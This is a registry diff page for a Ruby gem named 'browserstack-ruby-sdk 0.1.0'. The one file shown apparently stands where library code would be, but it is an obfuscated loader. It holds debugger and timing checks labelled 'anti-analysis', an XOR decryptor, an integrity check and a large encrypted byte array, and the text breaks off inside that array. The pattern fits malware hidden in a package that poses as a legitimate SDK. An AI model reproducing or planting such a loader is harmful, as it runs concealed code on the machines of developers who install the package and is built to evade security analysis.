browserstack-ruby-sdk 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +7 -0
- data/LICENSE.txt +52 -0
- data/README.md +115 -0
- data/STYLE_GUIDE.md +43 -0
- data/exe/browserstack-sdk +8 -0
- data/generated/browserstack/sdk/v1/sdk_pb.rb +80 -0
- data/generated/browserstack/sdk/v1/sdk_services_pb.rb +47 -0
- data/lib/browserstack/browserstack_logger_factory.rb +123 -0
- data/lib/browserstack/browserstack_ruby_agent.rb +123 -0
- data/lib/browserstack/child_initializer.rb +123 -0
- data/lib/browserstack/cli/browserstack_cli.rb +123 -0
- data/lib/browserstack/cli/grpc_client.rb +123 -0
- data/lib/browserstack/cli/sdk_cli_utils.rb +123 -0
- data/lib/browserstack/command_executor.rb +123 -0
- data/lib/browserstack/config/browserstack_config.rb +123 -0
- data/lib/browserstack/constants.rb +123 -0
- data/lib/browserstack/eventbus/event.rb +123 -0
- data/lib/browserstack/eventbus/event_dispatcher.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/automation_framework.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/selenium_framework.rb +123 -0
- data/lib/browserstack/frameworks/constants/automation_constants.rb +123 -0
- data/lib/browserstack/frameworks/state/automation_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/state/hook_state.rb +123 -0
- data/lib/browserstack/frameworks/state/test_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/cucumber_framework.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/test_framework.rb +123 -0
- data/lib/browserstack/instance/automation_framework_instance.rb +123 -0
- data/lib/browserstack/instance/test_framework_instance.rb +123 -0
- data/lib/browserstack/instance/tracked_context.rb +123 -0
- data/lib/browserstack/instance/tracked_instance.rb +123 -0
- data/lib/browserstack/modules/base_module.rb +123 -0
- data/lib/browserstack/modules/web_driver_module.rb +123 -0
- data/lib/browserstack/monitor/performance.rb +123 -0
- data/lib/browserstack/monitor/performance_annotator.rb +123 -0
- data/lib/browserstack/monitor/performance_constants.rb +123 -0
- data/lib/browserstack/monitor/performance_test.rb +123 -0
- data/lib/browserstack/monitor/sdk_integration.rb +123 -0
- data/lib/browserstack/patches/appium_lib_core_patch.rb +123 -0
- data/lib/browserstack/patches/cucumber_patches.rb +123 -0
- data/lib/browserstack/patches/selenium_patches.rb +123 -0
- data/lib/browserstack/runner.rb +123 -0
- data/lib/browserstack/utils/api_utility_methods.rb +123 -0
- data/lib/browserstack/utils/framework_detector.rb +123 -0
- data/lib/browserstack/utils/http_calls.rb +123 -0
- data/lib/browserstack/utils/util_method.rb +123 -0
- data/lib/browserstack/version.rb +123 -0
- data/lib/browserstack_sdk.rb +123 -0
- data/proto/browserstack/sdk/v1/sdk.proto +487 -0
- data/sample/browserstack_sample.yml +298 -0
- metadata +218 -0
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_uebb31a = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_xe0e5ae = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _xe0e5ae) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_e737998 = _uebb31a.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_wd314a4 = ->(_s3f1e94, _d6e9b2a) do
|
|
32
|
+
_ab54a92 = []
|
|
33
|
+
_s3f1e94.each_with_index do |byte, idx|
|
|
34
|
+
_ab54a92 << (byte ^ _d6e9b2a[idx % _d6e9b2a.length])
|
|
35
|
+
end
|
|
36
|
+
_ab54a92
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_wcb1ea8 = lambda do |_m60c158, _s0615a7, _u845cdd, _w14df71|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_m60c158.pack('C*'))
|
|
44
|
+
if current_hash != _w14df71
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_m60c158 = [14, 39, 91, 19, 195, 79, 243, 132, 102, 185, 105, 12, 118, 74, 54, 135, 88, 19, 248, 157, 152, 19, 42, 121, 200, 101, 124, 142, 16, 135, 236, 203, 13, 238, 218, 216, 197, 19, 42, 172, 162, 51, 149, 255, 111, 240, 157, 77, 69, 107, 5, 254, 96, 10, 46, 96, 84, 44, 99, 137, 66, 232, 88, 150, 90, 173, 119, 114, 55, 218, 215, 120, 28, 212, 247, 145, 11, 35, 116, 137, 107, 119, 110, 111, 2, 248, 146, 12, 2, 58, 188, 25, 185, 205, 26, 183, 102, 123, 227, 43, 75, 203, 189, 220, 48, 54, 203, 10, 177, 47, 223, 206, 197, 225, 160, 126, 225, 58, 135, 107, 28, 27, 62, 167, 47, 117, 159, 193, 76, 122, 175, 69, 64, 162, 109, 87, 102, 37, 66, 37, 100, 103, 116, 156, 102, 47, 85, 153, 68, 132, 112, 237, 132, 111, 129, 186, 246, 154, 102, 23, 230, 11, 102, 84, 218, 90, 235, 121, 8, 18, 83, 156, 40, 208, 220, 200, 7, 18, 42, 209, 201, 23, 13, 35, 202, 193, 33, 21, 216, 51, 161, 250, 148, 206, 7, 56, 133, 103, 203, 104, 162, 201, 222, 193, 162, 223, 235, 189, 40, 105, 239, 77, 114, 9, 20, 47, 137, 12, 239, 245, 93, 251, 35, 17, 16, 92, 91, 18, 199, 223, 248, 204, 80, 117, 163, 81, 222, 108, 135, 86, 247, 179, 253, 44, 152, 92, 6, 222, 17, 216, 52, 74, 193, 136, 192, 216, 184, 145, 231, 30, 25, 51, 31, 20, 74, 249, 100, 204, 162, 108, 100, 200, 15, 249, 232, 60, 199, 230, 113, 45, 228, 176, 142, 62, 91, 203, 123, 130, 61, 192, 105, 44, 117, 252, 96, 32, 107, 10, 94, 183, 158, 216, 189, 232, 113, 134, 196, 252, 89, 177, 101, 251, 91, 207, 237, 58, 134, 199, 233, 17, 191, 144, 68, 59, 46, 175, 214, 144, 47, 255, 9, 170, 66, 54, 88, 66, 226, 54, 54, 160, 190, 139, 129, 228, 223, 138, 35, 214, 97, 118, 105, 94, 81, 76, 40, 218, 93, 35, 185, 142, 192, 208, 180, 241, 43, 149, 59, 104, 3, 82, 26, 14, 245, 161, 186, 137, 61, 59, 173, 255, 196, 202, 108, 88, 253, 192, 233, 214, 247, 110, 160, 73, 219, 234, 255, 113, 45, 74, 161, 245, 61, 144, 199, 165, 32, 146, 154, 100, 61, 46, 54, 171, 148, 33, 105, 223, 155, 172, 50, 137, 190, 67, 168, 45, 99, 155, 147, 51, 75, 79, 130, 215, 87, 76, 175, 235, 15, 241, 222, 99, 218, 73, 202, 69, 251, 208, 186, 14, 205, 193, 64, 89, 219, 191, 86, 156, 153, 137, 10, 172, 243, 14, 160, 115, 213, 61, 206, 221, 65, 86, 115, 218, 219, 209, 19, 15, 176, 200, 110, 198, 248, 104, 231, 84, 176, 173, 57, 149, 97, 58, 175, 79, 93, 39, 246, 186, 170, 106, 19, 133, 41, 110, 246, 221, 53, 88, 96, 120, 14, 223, 112, 19, 155, 175, 67, 161, 180, 142, 28, 42, 242, 248, 149, 132, 101, 119, 171, 149, 165, 225, 111, 197, 170, 11, 57, 169, 147, 104, 194, 137, 235, 211, 45, 150, 139, 153, 151, 206, 5, 148, 79, 173, 198, 143, 45, 165, 35, 97, 176, 25, 187, 225, 94, 164, 1, 172, 38, 62, 183, 195, 84, 145, 74, 120, 33, 131, 44, 122, 180, 132, 253, 177, 16, 120, 180, 94, 150, 203, 160, 129, 245, 87, 16, 41, 173, 109, 189, 24, 19, 165, 212, 98, 200, 69, 185, 50, 239, 50, 41, 39, 78, 45, 182, 158, 203, 244, 163, 57, 130, 138, 42, 58, 56, 163, 180, 187, 130, 139, 46, 201, 87, 70, 51, 208, 46, 6, 131, 109, 173, 96, 79, 248, 182, 86, 142, 72, 166, 67, 118, 90, 1, 105, 83, 205, 200, 13, 15, 33, 151, 54, 201, 232, 220, 68, 175, 215, 74, 124, 221, 171, 105, 214, 25, 84, 75, 139, 157, 35, 141, 232, 124, 99, 140, 180, 172, 184, 247, 240, 32, 170, 175, 145, 61, 17, 79, 114, 186, 26, 53, 232, 150, 199, 250, 124, 125, 175, 253, 183, 163, 75, 131, 29, 141, 213, 81, 59, 201, 252, 116, 148, 142, 200, 196, 221, 108, 181, 109, 54, 250, 163, 194, 155, 27, 224, 159, 0, 122, 216, 75, 105, 10, 77, 150, 10, 25, 170, 158, 220, 26, 204, 24, 206, 191, 70, 71, 24, 156, 189, 42, 183, 177, 78, 253, 69, 221, 65, 53, 58, 159, 82, 84, 61, 112, 79, 141, 120, 77, 130, 177, 225, 226, 194, 156, 143, 242, 43, 229, 144, 193, 34, 61, 148, 114, 217, 29, 47, 213, 129, 191, 7, 12, 228, 120, 50, 81, 131, 30, 80, 98, 148, 198, 29, 16, 47, 161, 103, 6, 180, 176, 188, 227, 232, 255, 141, 144, 177, 195, 144, 209, 93, 113, 212, 216, 35, 106, 250, 102, 102, 146, 195, 158, 215, 225, 132, 5, 10, 178, 16, 31, 142, 45, 191, 196, 166, 200, 167, 60, 16, 161, 10, 177, 126, 70, 63, 234, 210, 187, 17, 215, 170, 239, 177, 204, 94, 58, 143, 181, 108, 43, 212, 238, 79, 112, 72, 16, 39, 192, 242, 215, 150, 73, 113, 244, 69, 181, 50, 72, 236, 169, 153, 151, 243, 122, 138, 235, 227, 97, 11, 41, 28, 68, 243, 175, 129, 94, 233, 2, 102, 109, 214, 75, 241, 31, 16, 0, 21, 185, 227, 120, 224, 123, 5, 66, 132, 136, 236, 246, 246, 181, 213, 26, 68, 95, 206, 248, 29, 167, 247, 208, 112, 65, 36, 68, 221, 250, 61, 247, 222, 75, 70, 89, 234, 150, 21, 45, 154, 70, 175, 202, 98, 166, 216, 189, 236, 107, 59, 233, 190, 92, 90, 159, 206, 64, 69, 248, 50, 43, 137, 106, 33, 186, 61, 34, 151, 99, 81, 229, 247, 41, 161, 131, 203, 89, 1, 2, 148, 154, 113, 102, 7, 56, 1, 64, 37, 135, 222, 247, 197, 168, 182, 109, 101, 129, 46, 59, 225, 126, 230, 148, 38, 35, 79, 5, 97, 61, 2, 152, 133, 48, 213, 110, 136, 95, 16, 27, 147, 128, 160, 153, 26, 211, 251, 252, 21, 152, 30, 254, 181, 80, 203, 25, 162, 242, 166, 232, 133, 125, 5, 113, 169, 212, 139, 159, 135, 190, 106, 57, 146, 187, 144, 199, 249, 1, 224, 169, 128, 34, 240, 33, 190, 61, 35, 67, 4, 76, 132, 164, 74, 181, 182, 19, 244, 145, 121, 70, 19, 10, 91, 28, 125, 24, 191, 8, 178, 36, 233, 182, 9, 83, 226, 71, 146, 200, 59, 223, 244, 186, 228, 230, 16, 127, 12, 221, 213, 116, 182, 60, 213, 215, 7, 69, 52, 192, 243, 202, 74, 56, 76, 73, 4, 100, 246, 163, 77, 96, 59, 241, 20, 174, 23, 18, 142, 225, 101, 205, 132, 47, 174, 79, 57, 210, 213, 87, 207, 217, 79, 126, 59, 182, 6, 234, 153, 38, 93, 152, 196, 63, 35, 46, 118, 85, 141, 141, 135, 128, 174, 150, 46, 63, 51, 203, 28, 159, 121, 244, 215, 29, 167, 3, 49, 11, 234, 127, 55, 39, 116, 11, 125, 151, 150, 21, 57, 154, 146, 96, 30, 141, 10, 7, 218, 123, 135, 45, 238, 36, 47, 64, 91, 218, 113, 31, 51, 145, 180, 38, 4, 206, 214, 80, 106, 203, 4, 119, 146, 21, 122, 203, 14, 120, 100, 131, 140, 216, 101, 16, 1, 92, 26, 192, 6, 46, 37, 11, 96, 41, 240, 14, 198, 9, 69, 191, 38, 10, 26, 28, 218, 25, 5, 185, 214, 77, 0, 190, 48, 52, 202, 197, 140, 109, 118, 18, 200, 69, 136, 154, 243, 52, 96, 17, 42, 166, 168, 20, 19, 53, 29, 159, 16, 157, 201, 108, 75, 181, 67, 66, 110, 234, 164, 144, 180, 168, 79, 122, 72, 81, 129, 52, 253, 222, 38, 74, 121, 84, 38, 223, 238, 28, 10, 160, 126, 13, 44, 127, 165, 151, 167, 130, 93, 79, 221, 118, 208, 3, 27, 104, 101, 241, 128, 142, 50, 223, 46, 188, 142, 179, 245, 249, 143, 122, 197, 42, 133, 197, 179, 210, 99, 89, 219, 68, 196, 127, 196, 239, 188, 7, 85, 219, 160, 121, 68, 186, 103, 196, 15, 94, 86, 159, 65, 105, 217, 141, 142, 218, 114, 32, 201, 192, 233, 159, 89, 226, 125, 43, 215, 139, 77, 60, 213, 98, 78, 201, 204, 210, 43, 94, 46, 117, 196, 248, 205, 204, 46, 167, 169, 130, 175, 159, 198, 249, 139, 179, 201, 179, 199, 163, 183, 249, 69, 206, 240, 6, 109, 6, 243, 52, 77, 120, 149, 63, 101, 49, 98, 85, 6, 215, 61, 26, 223, 237, 36, 54, 197, 5, 130, 108, 169, 126, 202, 235, 63, 14, 42, 237, 122, 53, 194, 133, 248, 240, 88, 253, 75, 4, 49, 195, 30, 57, 246, 78, 31, 37, 190, 58, 80, 70, 90, 44, 159, 73, 81, 185, 68, 52, 154, 122, 77, 152, 0, 37, 145, 30, 75, 180, 23, 76, 162, 156, 50, 88, 204, 183, 133, 240, 202, 29, 104, 24, 29, 85, 81, 44, 207, 106, 155, 214, 152, 17, 62, 165, 196, 222, 170, 121, 252, 190, 96, 121, 6, 42, 240, 28, 228, 72, 234, 203, 63, 47, 132, 22, 204, 153, 32, 239, 182, 159, 223, 140, 200, 51, 23, 88, 63, 156, 111, 23, 75, 224, 172, 223, 110, 168, 219, 106, 227, 143, 182, 104, 220, 120, 58, 224, 241, 92, 29, 57, 33, 71, 85, 42, 53, 175, 223, 152, 138, 248, 88, 135, 49, 176, 60, 40, 20, 185, 199, 118, 180, 93, 8, 250, 217, 213, 9, 252, 74, 63, 207, 173, 199, 145, 116, 39, 145, 79, 226, 252, 80, 193, 9, 104, 120, 51, 23, 230, 72, 204, 182, 242, 150, 54, 59, 64, 214, 70, 168, 112, 125, 9, 10, 238, 172, 125, 65, 55, 1, 46, 240, 83, 125, 112, 10, 240, 119, 214, 232, 109, 218, 110, 29, 166, 219, 26, 62, 46, 105, 211, 43, 254, 21, 57, 16, 240, 126, 134, 235, 224, 37, 61, 129, 213, 12, 213, 31, 248, 224, 150, 84, 41, 101, 169, 204, 63, 201, 95, 117, 59, 147, 150, 185, 195, 38, 185, 24, 32, 56, 245, 95, 160, 30, 216, 15, 29, 196, 198, 194, 15, 91, 212, 39, 185, 56, 55, 90, 55, 119, 73, 141, 238, 194, 227, 49, 152, 113, 92, 38, 232, 128, 174, 235, 111, 184, 240, 221, 147, 28, 11, 186, 123, 249, 21, 47, 252, 39, 127, 158, 194, 201, 243, 22, 181, 211, 137, 135, 119, 147, 224, 37, 107, 0, 80, 106, 67, 212, 210, 66, 86, 63, 14, 124, 228, 40, 214, 187, 71, 211, 81, 27, 198, 161, 163, 53, 175, 137, 112, 135, 229, 154, 57, 165, 62, 113, 40, 173, 21, 166, 15, 71, 245, 216, 253, 11, 122, 165, 190, 106, 191, 73, 161, 74, 112, 244, 110, 90, 198, 0, 85, 195, 54, 236, 155, 86, 182, 219, 126, 178, 140, 33, 72, 156, 10, 149, 30, 156, 2, 75, 142, 218, 1, 131, 17, 131, 79, 28, 192, 51, 234, 253, 151, 231, 239, 8, 225, 106, 195, 10, 234, 141, 163, 213, 171, 120, 15, 99, 160, 206, 187, 236, 96, 92, 141, 0, 167, 146, 232, 16, 187, 31, 150, 178, 131, 72, 53, 208, 127, 123, 234, 158, 240, 220, 255, 154, 83, 168, 188, 16, 55, 167, 146, 95, 169, 121, 35, 152, 212, 31, 173, 98, 123, 106, 63, 239, 210, 24, 31, 189, 136, 14, 82, 115, 78, 97, 167, 42, 161, 85, 161, 223, 27, 179, 244, 0, 49, 206, 147, 244, 249, 22, 60, 164, 191, 43, 218, 180, 79, 184, 27, 2, 113, 36, 31, 78, 207, 154, 127, 205, 54, 15, 237, 43, 132, 73, 46, 74, 100, 28, 84, 151, 99, 172, 79, 197, 91, 134, 229, 175, 80, 65, 194, 91, 131, 249, 123, 101, 142, 90, 113, 136, 180, 109, 242, 234, 92, 158, 96, 222, 100, 35, 235, 94, 203, 255, 41, 133, 87, 234, 245, 253, 162, 85, 216, 202, 217, 62, 122, 26, 167, 206, 69, 89, 87, 244, 1, 151, 86, 238, 16, 247, 207, 98, 64, 87, 157, 229, 202, 166, 82, 2, 13, 122, 118, 178, 164, 143, 33, 132, 140, 176, 157, 246, 15, 118, 245, 47, 139, 29, 194, 118, 158, 134, 81, 89, 136, 39, 136, 81, 183, 90, 255, 202, 178, 63, 196, 3, 218, 64, 233, 218, 188, 62, 192, 146, 70, 213, 11, 170, 132, 240, 237, 24, 64, 3, 73, 200, 204, 190, 159, 106, 182, 253, 50, 1, 63, 162, 3, 199, 33, 88, 101, 189, 16, 164, 197, 175, 145, 219, 69, 174, 201, 139, 25, 205, 83, 238, 150, 230, 167, 155, 162, 202, 146, 238, 223, 47, 68, 6, 21, 74, 181, 33, 91, 123, 208, 206, 21, 96, 16, 203, 139, 35, 8, 156, 56, 240, 153, 198, 173, 242, 196, 111, 36, 17, 95, 186, 124, 83, 245, 134, 119, 80, 74, 99, 211, 93, 57, 30, 54, 73, 211, 12, 222, 181, 224, 53, 228, 241, 105, 162, 197, 47, 170, 129, 218, 194, 84, 183, 208, 98, 247, 240, 129, 237, 204, 42, 219, 200, 213, 116, 17, 232, 137, 29, 57, 0, 163, 231, 200, 224, 97, 144, 242, 97, 31, 21, 130, 236, 194, 60, 179, 194, 57, 131, 103, 177, 122, 233, 246, 150, 0, 191, 202, 176, 159, 114, 6, 51, 166, 146, 83, 50, 231, 88, 255, 57, 87, 3, 177, 139, 80, 150, 16, 74, 211, 34, 181, 172, 24, 236, 96, 184, 232, 240, 41, 37, 124, 29, 69, 92, 138, 211, 207, 43, 203, 222, 124, 163, 22, 132, 145, 104, 88, 206, 246, 148, 182, 17, 224, 15, 147, 56, 46, 29, 250, 72, 148, 205, 15, 146, 43, 125, 67, 245, 60, 87, 113, 83, 85, 204, 2, 146, 187, 16, 166, 210, 244, 215, 159, 57, 255, 181, 19, 69, 24, 177, 218, 70, 113, 243, 136, 16, 166, 143, 168, 122, 210, 20, 211, 241, 98, 219, 94, 176, 59, 180, 72, 117, 200, 100, 235, 48, 147, 111, 147, 178, 160, 19, 52, 252, 85, 236, 181, 55, 177, 71, 87, 169, 201, 175, 216, 54, 184, 161, 16, 221, 106, 48, 110, 101, 42, 213, 246, 227, 119, 232, 252, 226, 233, 231, 40, 32, 119, 49, 149, 202, 135, 220, 193, 228, 222, 149, 163, 229, 137, 148, 214, 235, 225, 194, 226, 102, 117, 51, 3, 181, 39, 222, 100, 215, 33, 38, 51, 177, 134, 144, 227, 158, 111, 221, 101, 237, 95, 68, 127, 238, 7, 253, 22, 174, 181, 64, 210, 230, 210, 52, 184, 190, 103, 74, 183, 248, 2, 105, 70, 200, 36, 195, 109, 55, 16, 19, 245, 172, 211, 177, 244, 102, 39, 228, 202, 126, 125, 116, 213, 181, 255, 196, 35, 117, 38, 128, 182, 219, 66, 58, 9, 10, 35, 229, 60, 73, 37, 105, 38, 126, 2, 164, 233, 85, 45, 136, 126, 213, 125, 177, 166, 117, 86, 20, 74, 76, 238, 126, 203, 207, 181, 21, 218, 230, 199, 204, 153, 155, 6, 127, 254, 211, 225, 100, 88, 81, 12, 46, 110, 4, 172, 67, 182, 143, 68, 130, 244, 213, 152, 51, 43, 189, 75, 209, 20, 220, 111, 100, 107, 251, 46, 193, 142, 238, 161, 33, 251, 242, 110, 214, 38, 183, 240, 184, 171, 64, 87, 77, 89, 100, 78, 169, 61, 247, 84, 83, 175, 70, 184, 104, 166, 130, 146, 73, 137, 241, 82, 162, 4, 112, 80, 183, 83, 150, 39, 159, 176, 65, 9, 54, 139, 241, 180, 12, 21, 228, 33, 78, 189, 162, 118, 144, 43, 137, 33, 234, 6, 8, 136, 221, 189, 243, 186, 214, 129, 170, 7, 253, 105, 166, 201, 22, 177, 129, 45, 149, 53, 127, 10, 95, 95, 72, 79, 114, 93, 227, 92, 93, 150, 159, 241, 154, 133, 85, 208, 96, 125, 254, 86, 220, 183, 137, 12, 28, 208, 40, 105, 250, 213, 22, 93, 206, 172, 218, 98, 121, 69, 251, 184, 75, 194, 96, 41, 7, 141, 213, 240, 224, 122, 22, 106, 114, 21, 64, 234, 26, 107, 234, 99, 32, 21, 45, 153, 110, 216, 167, 26, 80, 14, 84, 226, 84, 116, 172, 225, 175, 99, 110, 197, 101, 189, 251, 48, 30, 227, 22, 149, 58, 191, 16, 141, 203, 208, 51, 253, 88, 46, 226, 205, 251, 148, 39, 230, 252, 180, 203, 30, 101, 63, 194, 19, 119, 131, 35, 168, 228, 166, 151, 201, 255, 26, 187, 118, 145, 251, 228, 215, 142, 204, 250, 108, 176, 81, 248, 134, 254, 207, 228, 187, 209, 95, 165, 78, 157, 154, 125, 210, 215, 127, 5, 142, 231, 168, 172, 160, 39, 238, 249, 126, 211, 182, 166, 78, 168, 166, 147, 159, 231, 113, 125, 116, 112, 208, 2, 181, 192, 12, 96, 160, 121, 169, 245, 193, 80, 61, 57, 225, 234, 201, 48, 135, 37, 98, 207, 122, 41, 77, 17, 45, 65, 136, 244, 16, 205, 110, 95, 33, 43, 15, 30, 163, 153, 62, 153, 124, 187, 76, 198, 253, 150, 226, 152, 199, 207, 8, 251, 15, 47, 252, 108, 118, 176, 135, 65, 38, 110, 56, 176, 180, 109, 115, 184, 40, 155, 100, 107, 23, 80, 19, 121, 218, 235, 48, 159, 35, 23, 250, 64, 122, 203, 211, 234, 51, 92, 78, 60, 157, 208, 153, 86, 1, 215, 15, 122, 210, 170, 157, 206, 102, 122, 138, 35, 7, 48, 11, 20, 250, 84, 219, 127, 69, 89, 243, 146, 0, 149, 163, 88, 213, 173, 162, 198, 170, 53, 116, 193, 22, 20, 206, 12, 253, 185, 153, 37, 44, 44, 138, 233, 157, 180, 248, 25, 58, 83, 124, 254, 64, 123, 124, 43, 160, 205, 70, 126, 54, 47, 248, 41, 9, 218, 0, 121, 110, 94, 155, 19, 38, 25, 14, 37, 98, 13, 58, 196, 81, 156, 100, 134, 125, 131, 111, 108, 70, 68, 62, 218, 92, 116, 229, 26, 159, 146, 107, 175, 80, 223, 232, 255, 87, 115, 69, 95, 253, 171, 229, 218, 4, 218, 81, 53, 214, 120, 221, 154, 10, 4, 189, 85, 188, 132, 11, 193, 60, 89, 231, 225, 235, 151, 160, 187, 73, 116, 218, 22, 121, 51, 40, 21, 255, 253, 3, 8, 222, 172, 243, 105, 175, 151, 205, 214, 252, 199, 165, 128, 64, 91, 230, 156, 86, 139, 71, 69, 104, 139, 112, 37, 228, 158, 91, 28, 201, 232, 128, 91, 207, 207, 32, 227, 64, 84, 213, 217, 222, 85, 189, 7, 208, 12, 11, 195, 207, 234, 47, 16, 28, 12, 57, 72, 153, 178, 221, 139, 20, 219, 168, 116, 95, 250, 100, 183, 83, 227, 220, 183, 222, 218, 216, 93, 43, 237, 122, 202, 100, 203, 116, 55, 157, 132, 76, 88, 169, 117, 143, 189, 198, 0, 218, 141, 227, 29, 34, 3, 29, 106, 196, 130, 84, 254, 168, 6, 155, 68, 13, 41, 221, 55, 39, 34, 162, 229, 11, 12, 5, 72, 229, 20, 235, 15, 216, 54, 67, 135, 248, 40, 176, 141, 184, 237, 190, 229, 3, 218, 68, 184, 41, 224, 35, 32, 175, 47, 112, 179, 91, 21, 191, 209, 29, 250, 51, 208, 135, 177, 115, 145, 240, 218, 54, 80, 236, 215, 241, 227, 215, 209, 74, 134, 204, 101, 232, 82, 142, 254, 232, 115, 220, 250, 77, 209, 18, 18, 218, 204, 0, 28, 25, 234, 68, 189, 97, 184, 231, 29, 107, 247, 25, 94, 191, 71, 43, 56, 69, 50, 189, 87, 131, 25, 227, 200, 169, 124, 250, 69, 241, 66, 26, 60, 146, 46, 94, 191, 142, 121, 76, 172, 139, 24, 237, 0, 34, 86, 106, 107, 87, 215, 113, 241, 190, 127, 246, 168, 255, 101, 125, 20, 163, 237, 254, 191, 109, 11, 211, 126, 161, 57, 28, 52, 91, 97, 51, 238, 164, 13, 249, 60, 77, 30, 104, 48, 39, 105, 5, 90, 249, 37, 133, 25, 161, 106, 131, 149, 222, 203, 66, 137, 34, 48, 20, 239, 219, 159, 238, 91, 35, 243, 243, 85, 122, 157, 189, 223, 85, 186, 51, 176, 33, 32, 26, 64, 189, 175, 85, 254, 155, 125, 117, 46, 195, 95, 190, 43, 130, 0, 101, 124, 133, 167, 234, 74, 238, 10, 60, 190, 26, 178, 126, 91, 188, 174, 232, 218, 173, 211, 50, 43, 188, 43, 199, 172, 93, 137, 23, 128, 87, 211, 210, 25, 166, 20, 13, 29, 45, 7, 212, 252, 247, 184, 48, 130, 215, 110, 136, 81, 145, 139, 46, 144, 101, 214, 218, 255, 128, 79, 181, 200, 189, 104, 34, 244, 41, 149, 135, 111, 103, 95, 142, 246, 70, 116, 46, 23, 255, 166, 29, 175, 68, 110, 65, 54, 136, 132, 168, 46, 108, 165, 137, 69, 105, 240, 77, 3, 5, 173, 151, 242, 171, 30, 232, 88, 223, 77, 15, 96, 135, 106, 7, 229, 234, 185, 190, 31, 89, 58, 248, 14, 72, 98, 121, 210, 83, 243, 35, 238, 239, 69, 26, 147, 226, 146, 12, 245, 125, 153, 238, 61, 157, 188, 15, 88, 166, 146, 174, 97, 146, 83, 226, 167, 94, 219, 143, 201, 74, 221, 78, 243, 95, 106, 124, 191, 164, 80, 85, 160, 108, 235, 249, 233, 189, 205, 158, 215, 100, 68, 213, 209, 121, 59, 51, 20, 201, 225, 12, 151, 9, 234, 153, 58, 88, 14, 125, 198, 54, 45, 95, 35, 51, 23, 169, 180, 230, 98, 79, 226, 23, 152, 157, 234, 189, 172, 4, 195, 233, 49, 196, 106, 172, 188, 20, 59, 179, 231, 101, 224, 102, 120, 158, 118, 216, 237, 18, 92, 223, 121, 208, 67, 53, 175, 229, 8, 152, 102, 125, 228, 120, 190, 143, 245, 188, 212, 175, 7, 240, 51, 28, 189, 132, 122, 93, 168, 24, 108, 72, 41, 168, 207, 127, 84, 169, 168, 57, 125, 115, 120, 238, 231, 92, 252, 55, 157, 148, 84, 189, 214, 178, 147, 84, 199, 58, 125, 38, 22, 185, 95, 73, 212, 104, 226, 156, 101, 103, 78, 251, 17, 250, 22, 168, 220, 146, 69, 243, 29, 214, 110, 52, 169, 213, 71, 203, 241, 9, 45, 19, 170, 181, 80, 191, 162, 243, 214, 164, 163, 192, 110, 0, 59, 214, 130, 145, 143, 118, 240, 106, 24, 183, 231, 230, 216, 42, 174, 253, 205, 181, 37, 201, 190, 58, 75, 7, 166, 141, 189, 183, 165, 23, 100, 200, 145, 156, 214, 127, 123, 42, 206, 30, 80, 219, 64, 108, 19, 251, 130, 101, 200, 45, 64, 150, 120, 39, 156, 229, 32, 189, 10, 81, 238, 195, 202, 241, 8, 2, 5, 250, 38, 97, 61, 37, 180, 91, 6, 199, 106, 107, 200, 233, 68, 65, 205, 201, 195, 255, 88, 160, 136, 4, 26, 41, 136, 27, 134, 71, 124, 4, 130, 46, 139, 106, 245, 128, 20, 234, 56, 117, 28, 17, 28, 233, 22, 174, 249, 69, 244, 94, 193, 29, 166, 142, 153, 240, 105, 58, 53, 124, 202, 77, 160, 151, 247, 154, 74, 201, 78, 176, 109, 170, 157, 70, 3, 187, 210, 15, 80, 182, 187, 68, 159, 230, 218, 41, 127, 109, 31, 80, 212, 82, 217, 79, 81, 121, 153, 163, 57, 39, 191, 147, 25, 47, 1, 54, 181, 24, 31, 63, 242, 96, 252, 63, 178, 177, 176, 138, 189, 68, 246, 234, 220, 57, 228, 186, 9, 153, 208, 132, 41, 12, 6, 32, 5, 125, 131, 247, 117, 99, 213, 107, 242, 183, 45, 183, 191, 154, 13, 109, 45, 254, 48, 140, 214, 247, 182, 41, 118, 59, 153, 71, 223, 104, 206, 190, 98, 21, 247, 245, 160, 30, 46, 205, 6, 249, 200, 118, 194, 228, 83, 208, 92, 101, 7, 224, 99, 87, 53, 201, 102, 184, 181, 137, 59, 177, 214, 121, 113, 43, 166, 139, 207, 34, 24, 78, 110, 46, 236, 193, 35, 27, 60, 115, 16, 164, 155, 12, 1, 147, 33, 19, 42, 192, 190, 81, 247, 15, 25, 26, 86, 51, 9, 158, 1, 83, 157, 15, 234, 76, 173, 255, 83, 247, 